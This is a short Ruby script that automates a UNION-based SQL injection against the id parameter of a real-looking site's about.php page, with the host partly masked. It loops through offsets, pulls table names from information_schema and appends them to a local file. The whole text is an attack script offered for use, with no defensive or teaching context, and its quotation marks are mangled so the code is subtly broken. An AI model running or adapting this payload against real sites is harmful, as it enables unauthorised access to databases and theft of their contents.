require ‘http‘ f = open‘a.txt‘,‘a‘ [*0..100].each do |num| url = "http://www.xxx.com.tw/about.php?id=-1%20union%20select%201,2,3,4,5,6,table_name,8,9%20from%20%20information_schema.tables%20where%20table_schema%20=%20database()%20limit%20#{num},1--%20-" html = HTTP.get url #puts html /<div class="loc_body">\n(.*?)<\/div>/ =~ html.to_s puts $1 f.puts $1.strip f.flush end